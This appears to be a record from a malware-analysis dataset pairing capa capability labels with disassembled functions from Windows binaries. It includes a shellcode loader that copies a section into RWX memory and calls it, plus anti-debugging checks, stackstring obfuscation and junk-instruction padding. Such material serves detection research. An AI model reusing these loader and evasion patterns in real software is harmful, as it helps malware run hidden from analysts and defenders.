joyce8/EMBER2024-capa huggingface dataset:
Function at 0x16b21a6
Capabilities:
Check for software breakpoints
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
call fcn.00450653
sub ecx, ecx
ror cl, cl
cmp eax, ebx
setle cl
setne cl
cmc
clc
cmp ecx, ebx
jmp loc.016d9599
push edi
jmp 0x1776e95
call fcn.00471259
add esp, 8
test eax, eax
je 0x42f277
lea ecx, [esp + 0x45c]
mov dh, bh
push ecx
cwd
movsx edx, ax
not edx
lea edx, [esp + 0xb10]
push edx
jmp 0x162b774
mov dword [esp + 0x2c], eax
jmp 0x1794c3b
call fcn.00471259
lea esp, [esp + 8]
jmp fcn.0042f26f
call 0x424ed1
push 0x100
mov dh, bh
lea edx, [esp + 0xb10]
jmp 0x178aade
push 0x3343a83
call fcn.0057a757
push edx
jmp 0x1780612
push edi
call esi
push 0xffffffffffffffec
jmp 0x56c67a
test eax, eax
jmp 0x1863f88
call fcn.00471259
lea esp, [esp + 8]
jmp 0x171b1b0
call 0x175470d
call 0x17244b0
cmp dword [esp + 0x14], eax
je 0x17dd1da
mov edi, dword [esp + 0x30]
movzx ecx, sp
movsx cx, al
push 0x100
movzx cx, dl
mov cl, al
xchg ecx, ecx
lea ecx, [esp + 0x948]
jmp 0x179c19a
mov dword [esp + 0x24], eax
jmp 0x1783d10
push eax
jmp 0x176140b
call esi
push 0xfffffffffffffff0
jmp 0x17ebc45
push edx
push edi
call fcn.017e8570
call fcn.017295e0
push 0xfffffffffffffff4
jmp 0x1704f21
call esi
mov dword [esp + 0x74], eax
nop
movsx ecx, cx
cbw
lea eax, [esp + 0x3c0]
xchg ch, ch
push eax
mov cx, 0x3145
lea ecx, [esp + 0xb10]
jmp 0x1797c9a
push ecx
jmp 0x17422f0
push ecx
jmp 0x189a0e4
push edi
jmp 0x62e174
je 0x42f277
lea edx, [esp + 0x49c]
push edx
lea eax, [esp + 0xb10]
push eax
jmp 0x597583
push edi
jmp 0x16a672e
Function at 0x185df61
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
ret
jne 0x16f9267
mov edx, dword [eax + 0x78]
test bh, 0xa0
mov dword [ebp - 0x114], edx
test edx, edx
jmp 0x17413d5
je 0x1717c4b
sub eax, eax
sbb esi, esi
sub ch, 0x1c
btc esi, ecx
pop esi
shr ch, cl
mov ecx, dword [ebp - 4]
test ax, ax
xor ecx, ebp
jmp 0x17f5bbd
je 0x16f9267
test esi, esi
jmp 0x1816d02
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jmp 0x571966
je 0x16f9267
mov eax, dword [eax + 0x7c]
push ebx
jmp 0x18e067a
call fcn.0046d9cb
mov esp, ebp
mov ebp, 0x346b78d0
pop ebp
jmp 0x534d37
je 0x16f9267
mov eax, 0x5a4d
cmp dh, 0xa5
test dx, 0x47b3
cmp dx, di
cmp word [ecx], ax
jmp 0x16f9261
push ebp
mov ebp, esp
xor ecx, esp
rol cx, cl
lea esp, [esp - 0x120]
mov eax, dword [0x51f620]
sub ecx, 0x7f844b94
xor eax, ebp
cmp edx, 0x11911000
stc
mov dword [ebp - 4], eax
cmp sp, 0x5034
mov ecx, dword [ebp + 8]
cmc
cmp esi, ebx
push esi
mov esi, dword [ebp + 0xc]
cmp si, bp
test edi, 0x1c7a4f7a
cmp sp, 0x3740
mov dword [ebp - 0x120], esi
test ecx, ecx
jmp 0x170ea6a
push edi
cmp ax, 0x7e49
jmp 0x43366c

Function at 0x186c828
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
mov dword [ebp - 0x1c], eax
jmp loc.0043ab33
push eax
not eax
sub esp, 8
not ax
mov eax, 0x1e50
jmp 0x186c828
call fcn.00474480
mov eax, dword [0x51f620]
xor dword [ebp - 8], eax
clc
xor eax, ebp
jmp 0x16ef88a
push ebp
shr al, cl
sbb bp, ax
mov ebp, esp
push 0xfffffffffffffffe
btr eax, eax
cmp bp, 0x6520
xor ax, cx
push 0x59f2d4
push 0x473a90
stc
rcl eax, 0x31
mov eax, dword fs:[0]
test dx, 0x3b3d
jmp 0x17122d3
Function at 0x402a76
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x44], 0x30
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x3c], 0x403025
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov dword [esp + 4], 0x65
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.USER32.dll_LoadIconA
sub esp, 8
mov dword [ebp - 0x2c], eax
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
call sub.USER32.dll_LoadCursorA
sub esp, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x42008f
mov dword [esp + 4], 0x65
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.USER32.dll_LoadIconA
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x3e80
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne al
test al, al
je 0x402b91
mov eax, dword [ebp - 0xc]
mov edx, section.xzMIp
mov ecx, 0x3e80
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x3e80
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x402b91
mov eax, dword [ebp - 0x10]
call eax
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sub.USER32.dll_RegisterClassExA
sub esp, 4
leave
ret
Function at 0x411ac0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], 0x422444
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x411b20
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x411c16
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x411b90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x411b65
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x411b75
cmp byte [esp + 0x1e], 0
je 0x411b75
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x411b75
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], 0x42245c
call fcn.00411ac0
nop

Function at 0x411eb0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x428af8
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x428b10]
sub esp, 4
test ebx, ebx
je 0x411efb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x411ef4
test esi, esi
je 0x411ef4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x411ed0
mov dword [esp], 0x428af8
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x413200
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov esi, eax
lea eax, [eax + 0x41]
and eax, 0xfffffff0
call fcn.004133d0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
lea edi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [esi + 0x10]
lea edx, [edi + eax]
mov dword [ebp - 0x20], eax
mov dword [edx], 0x61616161
mov dword [edx + 4], 0x61616161
mov dword [edx + 8], 0x61616161
mov dword [edx + 0xc], 0x61616161
mov dword [edx + 0x10], 0x61616161
mov dword [edx + 0x14], 0x61616161
mov dword [edx + 0x18], 0x61616161
mov dword [edx + 0x1c], 0x61616161
mov byte [esp + esi + 0x3c], 0
mov byte [esp + esi + 0x1b], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x24], edx
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov byte [edi + esi + 0xf], 0x2d
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
test eax, eax
mov edx, dword [ebp - 0x24]
je 0x4132ed
int3
mov dword [esp], edi
mov dword [ebp - 0x24], edx
call sub.KERNEL32.dll_FindAtomA
sub esp, 4
test ax, ax
mov edx, dword [ebp - 0x24]
jne 0x413390
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, dword [ebp - 0x24]
mov ebx, eax
mov eax, 0x20
nop
bt ebx, eax
jae 0x413328
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x413320
mov dword [esp], edi
call sub.KERNEL32.dll_AddAtomA
sub esp, 4
test ax, ax
je 0x413384
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call fcn.00413180
cmp eax, ebx
mov esi, eax
je 0x4133a7
mov dword [esp], ebx
call fcn.00413454
mov edi, dword [ebp - 0x1c]
mov dword [esp], edi
call sub.KERNEL32.dll_ReleaseMutex
sub esp, 4
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call fcn.00413180
mov esi, eax
jmp 0x413361
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x413361
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x413361
Function at 0x414030
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x428b5c]
test ebx, ebx
je 0x414060
call sub.KERNEL32.dll_TlsAlloc
mov dword [ebx], eax
mov eax, dword [0x428b5c]
test eax, eax
je 0x414085
cmp dword [eax], 0xffffffff
je 0x4140a8
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov ebx, eax
mov dword [0x428b5c], eax
jmp 0x41403e
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x41404e
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x414540
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov eax, dword [0x428b60]
test eax, eax
je 0x414690
call fcn.004144c0
mov eax, dword [0x428b5c]
test eax, eax
je 0x4146c0
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
test eax, eax
je 0x414580
add esp, 0x20
pop ebx
pop esi
pop edi
ret
call fcn.00413e80
test eax, eax
mov ebx, eax
je 0x41470c
mov eax, dword [entry3]
test eax, eax
je 0x41470c
mov dword [ebx + 0x24], 1
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.dll_CreateEventA
mov dword [ebx + 0x1c], 0xffffffff
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call sub.KERNEL32.dll_GetCurrentProcess
mov edi, eax
call sub.KERNEL32.dll_GetCurrentThread
mov esi, eax
call sub.KERNEL32.dll_GetCurrentProcess
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.KERNEL32.dll_DuplicateHandle
sub esp, 0x1c
test eax, eax
je 0x414713
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GetThreadPriority
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x428b5c]
test eax, eax
je 0x4146e6
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
test eax, eax
je 0x414713
mov eax, ebx
jmp 0x414576
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], 0x4225e4
call fcn.00418480
mov dword [0x428b60], eax
jmp 0x414553
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x414565
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x41466e
xor eax, eax
jmp 0x414576
call sub.msvcrt.dll_abort
nop
lea esi, [esi]
sub esp, 0x1c
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], 0x4225fc
call fcn.00418480
add esp, 0x1c
ret
Function at 0x414c80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
cmp dword [esp + 0x24], 3
je 0x414ca0
add esp, 0x18
mov eax, 1
pop ebx
ret 0xc
mov eax, dword [0x428b5c]
test eax, eax
je 0x414e10
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x414c8b
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
test eax, eax
mov ebx, eax
je 0x414c8b
test byte [eax + 0x20], 0x30
je 0x414d60
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x414e00
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x414d0f
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x414d01
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.004181b0
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x414e66
mov eax, dword [0x428b5c]
test eax, eax
je 0x414e40
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
mov eax, 1
add esp, 0x18
pop ebx
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x414dc0
test eax, eax
je 0x414d79
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x414df0
test byte [ebx + 0x24], 4
je 0x414dd6
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x414d08
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x414d08
test eax, eax
je 0x414dcf
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.004181b0
mov dword [ebx + 0x34], 0xffffffff
jmp 0x414c8b
call fcn.00414a90
jmp 0x414d91
call fcn.00414a90
jmp 0x414cdd
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x414cad
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x414d3c
mov eax, ebx
call fcn.004140b0
jmp 0x414d2f
Function at 0x416000
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call fcn.00414540
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x416090
test byte [ebx + 0x20], 0x30
je 0x41617a
mov eax, dword [0x428b5c]
test eax, eax
je 0x416100
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41607b
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x4160a0
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41606a
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x416126
mov dword [esp + 0x20], esi
add esp, 0x14
pop ebx
pop esi
jmp sub.msvcrt.dll__endthreadex
call fcn.00414a90
jmp 0x41601d
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x4160b8
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
test edx, edx
je 0x416148
mov eax, dword [0x428b5c]
test eax, eax
je 0x416154
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
mov dword [esp + 0x20], esi
add esp, 0x14
pop ebx
pop esi
jmp sub.msvcrt.dll__endthreadex
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x416034
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x4160cc
mov eax, ebx
call fcn.004140b0
jmp 0x4160cc
mov dword [esp + 8], 0x4134c0
mov dword [esp + 4], 4
mov dword [esp], 0x4225c1
call fcn.00418480
mov dword [0x428b5c], eax
jmp 0x4160d5
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_longjmp
lea esi, [esi]
Function at 0x418480
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sub.msvcrt.dll_strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.004133d0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x1c], eax
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
test eax, eax
je 0x41856d
int3
mov dword [esp], esi
call sub.KERNEL32.dll_FindAtomA
sub esp, 4
test ax, ax
jne 0x418603
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
bt ebx, eax
jae 0x41859d
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x418595
mov dword [esp], esi
call sub.KERNEL32.dll_AddAtomA
sub esp, 4
test ax, ax
je 0x418600
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00418400
cmp eax, ebx
mov esi, eax
je 0x41861a
mov dword [esp], ebx
call fcn.00413454
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call sub.KERNEL32.dll_ReleaseMutex
sub esp, 4
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00418400
mov esi, eax
jmp 0x4185d6
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4185d6
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x4185d6
Function at 0x41afd0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.00411e90
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x41b006
jmp 0x41b045
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41b003
cmp al, 0x20
je 0x41b003
cmp al, 0x22
jne 0x41b029
jmp 0x41b094
cmp al, 0x20
lea esi, [esi]
je 0x41b030
test al, al
je 0x41b045
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x41b017
movzx eax, byte [ebx]
cmp al, 0x20
jne 0x41b0aa
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41b037
cmp al, 0x20
je 0x41b037
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x41b054
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004029ef
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
cmp al, 0x22
je 0x41b09e
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x41b090
cmp al, 0x22
sete al
movzx eax, al
add ebx, eax
jmp 0x41b030
cmp al, 9
je 0x41b037
jmp 0x41b045
Function at 0x4028fc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402994
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402974
xor eax, eax
push ebp
push 0x40296d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4029b0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402974
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret